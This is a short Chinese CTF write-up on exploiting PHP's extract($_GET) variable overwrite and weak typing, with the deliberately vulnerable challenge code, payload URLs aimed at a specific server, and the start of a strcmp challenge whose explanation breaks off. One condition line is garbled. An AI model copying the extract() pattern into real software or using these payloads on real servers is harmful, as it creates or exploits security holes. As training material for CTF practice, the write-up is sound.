赞
踩
- <?php
- $flag='xxx';
- extract($_GET);
- if(isset($shiyan))
- {
- $content=trim(file_get_contents($flag));
- if($shiyan==$content)
- {
- echo'flag{xxx}';
- }
- else
- {
- echo'Oh.no';
- }
- }
- ?>

知识点:
变量覆盖
file_get_contents():将整个文件读入一个字符串
trim()去除字符串两侧的空格或者指定字符trim('string','string you want to delete')
$_GET:表示等一下提交变量时,URL 通过 get 的方式传参,传输的数据以数组的形式被封装在$_GET 中。
extract():从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
利用extract()函数的变量覆盖漏洞原理构造payload
漏洞产生原因:extract()函数当只有一个参数时,默认的第二参数是:EXTR_OVERWRITE,如果有变量发生冲突,则覆盖已有的变量。
思路:
代码审计需要满足两个条件:
- 1. if(isset($shiyan)) == 》 TRUE
-
- 2. if(shiyan==shiyan==content) == 》 TRUE
//利用extract()函数变量覆盖漏洞+php伪协议
//利用file_get_content()函数返回字符串+php弱类型(null == "string" ==》 true
弱类型
- http://123.206.87.240:9009/1.php?shiyan=
-
- http://123.206.87.240:9009/1.php?shiyan=&flag=
-
- http://123.206.87.240:9009/1.php?shiyan=&content=
伪协议(有点奇怪此题,用伪协议居然没有显示flag)
- http://123.206.87.240:9009/1.php?shiyan=123&file=php://input
-
- 123
http://123.206.87.240:9009/6.php
- <?php
- $flag = "flag{xxxxx}";
- if (isset($_GET['a'])) {
- if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
- //比较两个字符串(区分大小写)
- die('Flag: '.$flag);
- else
- print 'No';
- }
- ?>
知识点:
die()
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。